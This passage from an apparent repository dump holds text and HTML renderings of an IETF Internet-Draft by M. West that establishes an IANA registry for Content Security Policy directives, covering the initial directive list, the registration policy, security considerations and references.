<tbody>\n    <tr>\n      <td class=\"left\">base-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">child-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">connect-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">default-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">font-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">form-action</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-ancestors</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">img-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">media-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">object-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">plugin-types</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">report-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">sandbox</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">script-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">style-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.section.3.2\"><a href=\"#rfc.section.3.2\">3.2.</a> <a href=\"#registration-policy-for-content-security-policy-directives\" id=\"registration-policy-for-content-security-policy-directives\">Registration Policy for Content Security Policy directives</a></h1>\n<p id=\"rfc.section.3.2.p.1\">The registration policy for Content Security Policy directives is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, which uses a designated expert to review the specification.</p>\n<p id=\"rfc.section.3.2.p.2\">The designated expert, when deliberating on whether to include a new directive in the registry, should consider the following criteria. This is not an exhaustive list, but representative of the issues to consider when rendering a decision):</p>\n<p/>\n\n<ul>\n  <li>Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.</li>\n  <li>Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.</li>\n</ul>\n<h1 id=\"rfc.section.4\"><a href=\"#rfc.section.4\">4.</a> <a href=\"#security-considerations\" id=\"security-considerations\">Security Considerations</a></h1>\n<p id=\"rfc.section.4.p.1\">The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives must contain detailed security and privacy considerations sections, and should contain usage information which informs web developers as to the directive&#8217;s expected implementation.</p>\n<h1 id=\"rfc.references\"><a href=\"#rfc.references\">5.</a> References</h1>\n<h1 id=\"rfc.references.1\"><a href=\"#rfc.references.1\">5.1.</a> Normative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"CSP\">[CSP]</b>\n      </td>\n      <td class=\"top\"><a title=\"Google, Inc.\">West, M.</a> and <a title=\"Mozilla\">D. Veditz</a>, \"<a href=\"https://w3c.github.io/webappsec-csp/\">Content Security Policy</a>\", n.d..</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC2119\">[RFC2119]</b>\n      </td>\n      <td class=\"top\"><a href=\"mailto:sob@harvard.edu\" title=\"Harvard University\">Bradner, S.</a>, \"<a href=\"http://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>\", BCP 14, RFC 2119, March 1997.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5226\">[RFC5226]</b>\n      </td>\n      <td class=\"top\"><a>Narten, T.</a> and <a>H. Alvestrand</a>, \"<a href=\"http://tools.ietf.org/html/rfc5226\">Guidelines for Writing an IANA Considerations Section in RFCs</a>\", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5234\">[RFC5234]</b>\n      </td>\n      <td class=\"top\"><a>Crocker, D.</a> and <a>P. Overell</a>, \"<a href=\"http://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>\", STD 68, RFC 5234, January 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.references.2\"><a href=\"#rfc.references.2\">5.2.</a> Informative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5341\">[RFC5341]</b>\n      </td>\n      <td class=\"top\"><a>Jennings, C.</a> and <a>V. Gurbani</a>, \"<a href=\"http://tools.ietf.org/html/rfc5341\">The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry</a>\", RFC 5341, DOI 10.17487/RFC5341, September 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.appendix.A\"><a href=\"#rfc.appendix.A\">Appendix A.</a> <a href=\"#acknowledgements\" id=\"acknowledgements\">Acknowledgements</a></h1>\n<p id=\"rfc.section.A.p.1\">Much of this document&#8217;s structure comes from <a href=\"#RFC5341\">[RFC5341]</a>. Thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within, and to Barry Leiba for his helpful commentary and suggestions.</p>\n<h1 id=\"rfc.authors\">\n  <a href=\"#rfc.authors\">Author's Address</a>\n</h1>\n<div class=\"avoidbreak\">\n  <address class=\"vcard\">\n\t<span class=\"vcardline\">\n\t  <span class=\"fn\">Mike West</span> \n\t  <span class=\"n hidden\">\n\t\t<span class=\"family-name\">West</span>\n\t  </span>\n\t</span>\n\t<span class=\"org vcardline\">Google, Inc</span>\n\t<span class=\"adr\">\n\t  \n\t  <span class=\"vcardline\">\n\t\t<span class=\"locality\"></span> \n\t\t<span class=\"region\"></span>\n\t\t<span class=\"code\"></span>\n\t  </span>\n\t  <span class=\"country-name vcardline\"></span>\n\t</span>\n\t<span class=\"vcardline\">EMail: <a href=\"mailto:mkwst@google.com\">mkwst@google.com</a></span>\n\n<span class=\"vcardline\">URI: <a href=\"https://mikewest.org/\">https://mikewest.org/</a></span>\n\n  </address>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-02.txt",
    "content": "\n\n\n\nNetwork Working Group                                            M. West\nInternet-Draft                                               Google, Inc\nIntended status: Informational                           October 7, 2015\nExpires: April 9, 2016\n\n\n               Content Security Policy Directive Registry\n                    draft-west-webappsec-csp-reg-02\n\nAbstract\n\n   This document establishes an Internet Assigned Number Authority\n   (IANA) registry for Content Security Policy directives.  It populates\n   the registry with the directives defined in the CSP specification.\n\nStatus of This Memo\n\n   This Internet-Draft is submitted in full conformance with the\n   provisions of BCP 78 and BCP 79.\n\n   Internet-Drafts are working documents of the Internet Engineering\n   Task Force (IETF).  Note that other groups may also distribute\n   working documents as Internet-Drafts.  The list of current Internet-\n   Drafts is at http://datatracker.ietf.org/drafts/current/.\n\n   Internet-Drafts are draft documents valid for a maximum of six months\n   and may be updated, replaced, or obsoleted by other documents at any\n   time.  It is inappropriate to use Internet-Drafts as reference\n   material or to cite them other than as \"work in progress.\"\n\n   This Internet-Draft will expire on April 9, 2016.\n\nCopyright Notice\n\n   Copyright (c) 2015 IETF Trust and the persons identified as the\n   document authors.  All rights reserved.\n\n   This document is subject to BCP 78 and the IETF Trust's Legal\n   Provisions Relating to IETF Documents\n   (http://trustee.ietf.org/license-info) in effect on the date of\n   publication of this document.  Please review these documents\n   carefully, as they describe your rights and restrictions with respect\n   to this document.  Code Components extracted from this document must\n   include Simplified BSD License text as described in Section 4.e of\n   the Trust Legal Provisions and are provided without warranty as\n   described in the Simplified BSD License.\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 1]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nTable of Contents\n\n   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2\n   2.  Use of the Registry . . . . . . . . . . . . . . . . . . . . .   2\n   3.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   2\n     3.1.  Content Security Policy directives Registry . . . . . . .   3\n     3.2.  Registration Policy for Content Security Policy\n           directives  . . . . . . . . . . . . . . . . . . . . . . .   3\n   4.  Security Considerations . . . . . . . . . . . . . . . . . . .   4\n   5.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   4\n     5.1.  Normative References  . . . . . . . . . . . . . . . . . .   4\n     5.2.  Informative References  . . . . . . . . . . . . . . . . .   5\n   Appendix A.  Acknowledgements . . . . . . . . . . . . . . . . . .   5\n   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5\n\n1.  Introduction\n\n   The Content Security Policy specification [CSP] defines a mechanism\n   by which web developers can control the resources which a particular\n   page can fetch or execute, as well as a number of security-relevant\n   policy decisions.\n\n   The policy language specified in that document consists of an\n   extensible set of \"directives\", each of which controls a specific\n   resource type or policy decision.  This specification establishes a\n   registry to ensure that extensions to CSP are listed and\n   standardized.\n\n2.  Use of the Registry\n\n   Content Security Policy directives must be documented in a readily\n   available public specification in order to be registered by IANA.\n   This documentation must fully explain the syntax, intended usage, and\n   semantics of the directive.  The intent of this requirement is to\n   assure interoperable independent implementations, and to prevent\n   accidental namespace collisions between implementations of dissimilar\n   features.\n\n   Documents defining new Content Security Policy directives must\n   register them with IANA, as described in Section 3.  The IANA\n   registration policy for such parameters is \"Specification Required\"\n   [RFC5226], and is further discussed in Section 3.2.\n\n3.  IANA Considerations\n\n   This specification creates a new top-level IANA registry named\n   \"Content Security Policy directives\".\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 2]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n3.1.  Content Security Policy directives Registry\n\n   New Content Security Policy directives, and updates to existing\n   directives, must be registered with IANA.\n\n   When registering a new Content Security Policy directive, the\n   following information must be provided:\n\n   o  The directive's name, an ASCII string conforming to the\n      \"directive-name\" rule specified in Section 4.1 of [CSP].  The ABNF\n      [RFC5234] is as follows:\n\n            directive-name  = 1*( ALPHA / DIGIT / \"-\" )\n\n   o  A reference to the readily available public specification defining\n      the new directive's syntax, usage, and semantics.\n\n   The following table contains the initial values for this registry:\n\n                      +-----------------+-----------+\n                      | Directive Name  | Reference |\n                      +-----------------+-----------+\n                      | base-uri        | [CSP]     |\n                      | child-src       | [CSP]     |\n                      | connect-src     | [CSP]     |\n                      | default-src     | [CSP]     |\n                      | font-src        | [CSP]     |\n                      | form-action     | [CSP]     |\n                      | frame-ancestors | [CSP]     |\n                      | frame-src       | [CSP]     |\n                      | img-src         | [CSP]     |\n                      | media-src       | [CSP]     |\n                      | object-src      | [CSP]     |\n                      | plugin-types    | [CSP]     |\n                      | report-uri      | [CSP]     |\n                      | sandbox         | [CSP]     |\n                      | script-src      | [CSP]     |\n                      | style-src       | [CSP]     |\n                      +-----------------+-----------+\n\n3.2.  Registration Policy for Content Security Policy directives\n\n   The registration policy for Content Security Policy directives is\n   \"Specification Required\" [RFC5226], which uses a designated expert to\n   review the specification.\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 3]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n   The designated expert, when deliberating on whether to include a new\n   directive in the registry, should consider the following criteria.\n   This is not an exhaustive list, but representative of the issues to\n   consider when rendering a decision):\n\n   o  Content Security Policy is a restrictive feature, which allows web\n      developers to deny themselves access to resources and APIs which\n      would otherwise be available.  Deploying Content Security Policy\n      is, therefore, a strict reduction in risk.  The expert should\n      carefully consider whether proposed directives would violate this\n      property.\n\n   o  Granular directives are valuable, but the expert should strive to\n      strike a reasonable balance between providing developers with all\n      the knobs and switches possible, and providing only those with\n      known security implications.\n\n4.  Security Considerations\n\n   The registry in this document does not in itself have security\n   implications.  The directives specified, however, certainly do.  The\n   documents referenced when registering new directives must contain\n   detailed security and privacy considerations sections, and should\n   contain usage information which informs web developers as to the\n   directive's expected implementation.\n\n5.  References\n\n5.1.  Normative References\n\n   [CSP]      West, M. and D. Veditz, \"Content Security Policy\", n.d.,\n              <https://w3c.github.io/webappsec-csp/>.\n\n   [RFC2119]  Bradner, S., \"Key words for use in RFCs to Indicate\n              Requirement Levels\", BCP 14, RFC 2119, March 1997.\n\n   [RFC5226]  Narten, T. and H. Alvestrand, \"Guidelines for Writing an\n              IANA Considerations Section in RFCs\", BCP 26, RFC 5226,\n              DOI 10.17487/RFC5226, May 2008,\n              <http://www.rfc-editor.org/info/rfc5226>.\n\n   [RFC5234]  Crocker, D. and P. Overell, \"Augmented BNF for Syntax\n              Specifications: ABNF\", STD 68, RFC 5234, January 2008.\n\n\n\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 4]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n5.2.  Informative References\n\n   [RFC5341]  Jennings, C. and V. Gurbani, \"The Internet Assigned Number\n              Authority (IANA) tel Uniform Resource Identifier (URI)\n              Parameter Registry\", RFC 5341, DOI 10.17487/RFC5341,\n              September 2008, <http://www.rfc-editor.org/info/rfc5341>.\n\nAppendix A.  Acknowledgements\n\n   Much of this document's structure comes from [RFC5341].  Thank you to\n   Cullen Jennings and Vijay K.  Gurbani for giving me a reasonable\n   template to work within, and to Barry Leiba for his helpful\n   commentary and suggestions.\n\nAuthor's Address\n\n   Mike West\n   Google, Inc\n\n   Email: mkwst@google.com\n   URI:   https://mikewest.org/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nWest                      Expires April 9, 2016                 [Page 5]\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-03.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head profile=\"http://www.w3.org/2006/03/hcard http://dublincore.org/documents/2008/08/04/dc-html/\">\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=us-ascii\" />\n\n  <title>Content Security Policy Directive Registry</title>\n\n  <style type=\"text/css\" title=\"Xml2Rfc (sans serif)\">\n  /*<![CDATA[*/\n\t  a {\n\t  text-decoration: none;\n\t  }\n      /* info code from SantaKlauss at http://www.madaboutstyle.com/tooltip2.html */\n      a.info {\n          /* This is the key. */\n          position: relative;\n          z-index: 24;\n          text-decoration: none;\n      }\n      a.info:hover {\n          z-index: 25;\n          color: #FFF; background-color: #900;\n      }\n      a.info span { display: none; }\n      a.info:hover span.info {\n          /* The span will display just on :hover state. */\n          display: block;\n          position: absolute;\n          font-size: smaller;\n          top: 2em; left: -5em; width: 15em;\n          padding: 2px; border: 1px solid #333;\n          color: #900; background-color: #EEE;\n          text-align: left;\n      }\n\t  a.smpl {\n\t  color: black;\n\t  }\n\t  a:hover {\n\t  text-decoration: underline;\n\t  }\n\t  a:active {\n\t  text-decoration: underline;\n\t  }\n\t  address {\n\t  margin-top: 1em;\n\t  margin-left: 2em;\n\t  font-style: normal;\n\t  }\n\t  body {\n\t  color: black;\n\t  font-family: verdana, helvetica, arial, sans-serif;\n\t  font-size: 10pt;\n\t  max-width: 55em;\n\t  \n\t  }\n\t  cite {\n\t  font-style: normal;\n\t  }\n\t  dd {\n\t  margin-right: 2em;\n\t  }\n\t  dl {\n\t  margin-left: 2em;\n\t  }\n\t\n\t  ul.empty {\n\t  list-style-type: none;\n\t  }\n\t  ul.empty li {\n\t  margin-top: .5em;\n\t  }\n\t  dl p {\n\t  margin-left: 0em;\n\t  }\n\t  dt {\n\t  margin-top: .5em;\n\t  }\n\t  h1 {\n\t  font-size: 14pt;\n\t  line-height: 21pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h1.np {\n\t  page-break-before: always;\n\t  }\n\t  h1 a {\n\t  color: #333333;\n\t  }\n\t  h2 {\n\t  font-size: 12pt;\n\t  line-height: 15pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h3, h4, h5, h6 {\n\t  font-size: 10pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h2 a, h3 a, h4 a, h5 a, h6 a {\n\t  color: black;\n\t  }\n\t  img {\n\t  margin-left: 3em;\n\t  }\n\t  li {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol p {\n\t  margin-left: 0em;\n\t  }\n\t  p {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  pre {\n\t  margin-left: 3em;\n\t  background-color: lightyellow;\n\t  padding: .25em;\n\t  }\n\t  pre.text2 {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f0f0f0;\n\t  width: 69em;\n\t  }\n\t  pre.inline {\n\t  background-color: white;\n\t  padding: 0em;\n\t  }\n\t  pre.text {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  width: 69em;\n\t  }\n\t  pre.drawing {\n\t  border-style: solid;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  padding: 2em;\n\t  }\n\t  table {\n\t  margin-left: 2em;\n\t  }\n\t  table.tt {\n\t  vertical-align: top;\n\t  }\n\t  table.full {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt td {\n\t  vertical-align: top;\n\t  }\n\t  table.full td {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt th {\n\t  vertical-align: top;\n\t  }\n\t  table.full th {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers th {\n\t  border-style: none none inset none;\n\t  border-width: 1px;\n\t  }\n\t  table.left {\n\t  margin-right: auto;\n\t  }\n\t  table.right {\n\t  margin-left: auto;\n\t  }\n\t  table.center {\n\t  margin-left: auto;\n\t  margin-right: auto;\n\t  }\n\t  caption {\n\t  caption-side: bottom;\n\t  font-weight: bold;\n\t  font-size: 9pt;\n\t  margin-top: .5em;\n\t  }\n\t\n\t  table.header {\n\t  border-spacing: 1px;\n\t  width: 95%;\n\t  font-size: 10pt;\n\t  color: white;\n\t  }\n\t  td.top {\n\t  vertical-align: top;\n\t  }\n\t  td.topnowrap {\n\t  vertical-align: top;\n\t  white-space: nowrap; \n\t  }\n\t  table.header td {\n\t  background-color: gray;\n\t  width: 50%;\n\t  }\n\t  table.header a {\n\t  color: white;\n\t  }\n\t  td.reference {\n\t  vertical-align: top;\n\t  white-space: nowrap;\n\t  padding-right: 1em;\n\t  }\n\t  thead {\n\t  display:table-header-group;\n\t  }\n\t  ul.toc, ul.toc ul {\n\t  list-style: none;\n\t  margin-left: 1.5em;\n\t  margin-right: 0em;\n\t  padding-left: 0em;\n\t  }\n\t  ul.toc li {\n\t  line-height: 150%;\n\t  font-weight: bold;\n\t  font-size: 10pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  ul.toc li li {\n\t  line-height: normal;\n\t  font-weight: normal;\n\t  font-size: 9pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  li.excluded {\n\t  font-size: 0pt;\n\t  }\n\t  ul p {\n\t  margin-left: 0em;\n\t  }\n\t\n\t  .comment {\n\t  background-color: yellow;\n\t  }\n\t  .center {\n\t  text-align: center;\n\t  }\n\t  .error {\n\t  color: red;\n\t  font-style: italic;\n\t  font-weight: bold;\n\t  }\n\t  .figure {\n\t  font-weight: bold;\n\t  text-align: center;\n\t  font-size: 9pt;\n\t  }\n\t  .filename {\n\t  color: #333333;\n\t  font-weight: bold;\n\t  font-size: 12pt;\n\t  line-height: 21pt;\n\t  text-align: center;\n\t  }\n\t  .fn {\n\t  font-weight: bold;\n\t  }\n\t  .hidden {\n\t  display: none;\n\t  }\n\t  .left {\n\t  text-align: left;\n\t  }\n\t  .right {\n\t  text-align: right;\n\t  }\n\t  .title {\n\t  color: #990000;\n\t  font-size: 18pt;\n\t  line-height: 18pt;\n\t  font-weight: bold;\n\t  text-align: center;\n\t  margin-top: 36pt;\n\t  }\n\t  .vcardline {\n\t  display: block;\n\t  }\n\t  .warning {\n\t  font-size: 14pt;\n\t  background-color: yellow;\n\t  }\n\t\n\t\n\t  @media print {\n\t  .noprint {\n\t\tdisplay: none;\n\t  }\n\t\n\t  a {\n\t\tcolor: black;\n\t\ttext-decoration: none;\n\t  }\n\t\n\t  table.header {\n\t\twidth: 90%;\n\t  }\n\t\n\t  td.header {\n\t\twidth: 50%;\n\t\tcolor: black;\n\t\tbackground-color: white;\n\t\tvertical-align: top;\n\t\tfont-size: 12pt;\n\t  }\n\t\n\t  ul.toc a::after {\n\t\tcontent: leader('.') target-counter(attr(href), page);\n\t  }\n\t\n\t  ul.ind li li a {\n\t\tcontent: target-counter(attr(href), page);\n\t  }\n\t\n\t  .print2col {\n\t\tcolumn-count: 2;\n\t\t-moz-column-count: 2;\n\t\tcolumn-fill: auto;\n\t  }\n\t  }\n\t\n\t  @page {\n\t  @top-left {\n\t\t   content: \"Internet-Draft\"; \n\t  } \n\t  @top-right {\n\t\t   content: \"December 2010\"; \n\t  } \n\t  @top-center {\n\t\t   content: \"Abbreviated Title\";\n\t  } \n\t  @bottom-left {\n\t\t   content: \"Doe\"; \n\t  } \n\t  @bottom-center {\n\t\t   content: \"Expires June 2011\"; \n\t  } \n\t  @bottom-right {\n\t\t   content: \"[Page \" counter(page) \"]\"; \n\t  } \n\t  }\n\t\n\t  @page:first { \n\t\t@top-left {\n\t\t  content: normal;\n\t\t}\n\t\t@top-right {\n\t\t  content: normal;\n\t\t}\n\t\t@top-center {\n\t\t  content: normal;\n\t\t}\n\t  }\n  /*]]>*/\n  </style>\n\n  <link href=\"#rfc.toc\" rel=\"Contents\"/>\n<link href=\"#rfc.section.1\" rel=\"Chapter\" title=\"1 Introduction\"/>\n<link href=\"#rfc.section.2\" rel=\"Chapter\" title=\"2 Use of the Registry\"/>\n<link href=\"#rfc.section.3\" rel=\"Chapter\" title=\"3 IANA Considerations\"/>\n<link href=\"#rfc.section.3.1\" rel=\"Chapter\" title=\"3.1 Content Security Policy directives Registry\"/>\n<link href=\"#rfc.section.3.2\" rel=\"Chapter\" title=\"3.2 Registration Policy for Content Security Policy directives\"/>\n<link href=\"#rfc.section.4\" rel=\"Chapter\" title=\"4 Security Considerations\"/>\n<link href=\"#rfc.references\" rel=\"Chapter\" title=\"5 References\"/>\n<link href=\"#rfc.references.1\" rel=\"Chapter\" title=\"5.1 Normative References\"/>\n<link href=\"#rfc.references.2\" rel=\"Chapter\" title=\"5.2 Informative References\"/>\n<link href=\"#rfc.appendix.A\" rel=\"Chapter\" title=\"A Acknowledgements\"/>\n<link href=\"#rfc.authors\" rel=\"Chapter\"/>\n\n\n  <meta name=\"generator\" content=\"xml2rfc version 2.4.8 - http://tools.ietf.org/tools/xml2rfc\" />\n  <link rel=\"schema.dct\" href=\"http://purl.org/dc/terms/\" />\n\n  <meta name=\"dct.creator\" content=\"West, M.\" />\n  <meta name=\"dct.identifier\" content=\"urn:ietf:id:draft-west-webappsec-csp-reg-03\" />\n  <meta name=\"dct.issued\" scheme=\"ISO8601\" content=\"2015-10-7\" />\n  <meta name=\"dct.abstract\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n  <meta name=\"description\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n\n</head>\n\n<body>\n\n  <table class=\"header\">\n    <tbody>\n    \n    \t<tr>\n  <td class=\"left\">Network Working Group</td>\n  <td class=\"right\">M. West</td>\n</tr>\n<tr>\n  <td class=\"left\">Internet-Draft</td>\n  <td class=\"right\">Google, Inc</td>\n</tr>\n<tr>\n  <td class=\"left\">Intended status: Informational</td>\n  <td class=\"right\">October 7, 2015</td>\n</tr>\n<tr>\n  <td class=\"left\">Expires: April 9, 2016</td>\n  <td class=\"right\"></td>\n</tr>\n\n    \t\n    </tbody>\n  </table>\n\n  <p class=\"title\">Content Security Policy Directive Registry<br />\n  <span class=\"filename\">draft-west-webappsec-csp-reg-03</span></p>\n  \n  <h1 id=\"rfc.abstract\">\n  <a href=\"#rfc.abstract\">Abstract</a>\n</h1>\n<p>This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.</p>\n<h1 id=\"rfc.status\">\n  <a href=\"#rfc.status\">Status of This Memo</a>\n</h1>\n<p>This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.</p>\n<p>Internet-Drafts are working documents of the Internet Engineering Task Force (IETF).  Note that other groups may also distribute working documents as Internet-Drafts.  The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.</p>\n<p>Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time.  It is inappropriate to use Internet-Drafts as reference material or to cite them other than as \"work in progress.\"</p>\n<p>This Internet-Draft will expire on April 9, 2016.</p>\n<h1 id=\"rfc.copyrightnotice\">\n  <a href=\"#rfc.copyrightnotice\">Copyright Notice</a>\n</h1>\n<p>Copyright (c) 2015 IETF Trust and the persons identified as the document authors.  All rights reserved.</p>\n<p>This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document.  Please review these documents carefully, as they describe your rights and restrictions with respect to this document.  Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.</p>\n\n  \n  <hr class=\"noprint\" />\n  <h1 class=\"np\" id=\"rfc.toc\"><a href=\"#rfc.toc\">Table of Contents</a></h1>\n  <ul class=\"toc\">\n\n  \t<li>1.   <a href=\"#rfc.section.1\">Introduction</a></li>\n<li>2.   <a href=\"#rfc.section.2\">Use of the Registry</a></li>\n<li>3.   <a href=\"#rfc.section.3\">IANA Considerations</a></li>\n<li>3.1.   <a href=\"#rfc.section.3.1\">Content Security Policy directives Registry</a></li>\n<li>3.2.   <a href=\"#rfc.section.3.2\">Registration Policy for Content Security Policy directives</a></li>\n<li>4.   <a href=\"#rfc.section.4\">Security Considerations</a></li>\n<li>5.   <a href=\"#rfc.references\">References</a></li>\n<li>5.1.   <a href=\"#rfc.references.1\">Normative References</a></li>\n<li>5.2.   <a href=\"#rfc.references.2\">Informative References</a></li>\n<li>Appendix A.   <a href=\"#rfc.appendix.A\">Acknowledgements</a></li>\n<li><a href=\"#rfc.authors\">Author's Address</a></li>\n\n\n  </ul>\n\n  <h1 id=\"rfc.section.1\"><a href=\"#rfc.section.1\">1.</a> <a href=\"#introduction\" id=\"introduction\">Introduction</a></h1>\n<p id=\"rfc.section.1.p.1\">The Content Security Policy specification <a href=\"#CSP\">[CSP]</a> defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.</p>\n<p id=\"rfc.section.1.p.2\">The policy language specified in that document consists of an extensible set of &#8220;directives&#8221;, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.</p>\n<h1 id=\"rfc.section.2\"><a href=\"#rfc.section.2\">2.</a> <a href=\"#use-of-the-registry\" id=\"use-of-the-registry\">Use of the Registry</a></h1>\n<p id=\"rfc.section.2.p.1\">Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.</p>\n<p id=\"rfc.section.2.p.2\">Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, and is further discussed in Section 3.2.</p>\n<h1 id=\"rfc.section.3\"><a href=\"#rfc.section.3\">3.</a> <a href=\"#iana-considerations\" id=\"iana-considerations\">IANA Considerations</a></h1>\n<p id=\"rfc.section.3.p.1\">This specification creates a new top-level IANA registry named &#8220;Content Security Policy directives&#8221;.</p>\n<h1 id=\"rfc.section.3.1\"><a href=\"#rfc.section.3.1\">3.1.</a> <a href=\"#content-security-policy-directives-registry\" id=\"content-security-policy-directives-registry\">Content Security Policy directives Registry</a></h1>\n<p id=\"rfc.section.3.1.p.1\">New Content Security Policy directives, and updates to existing directives, must be registered with IANA.</p>\n<p id=\"rfc.section.3.1.p.2\">When registering a new Content Security Policy directive, the following information must be provided:</p>\n<pre>\ndirective-name  = 1*( ALPHA / DIGIT / 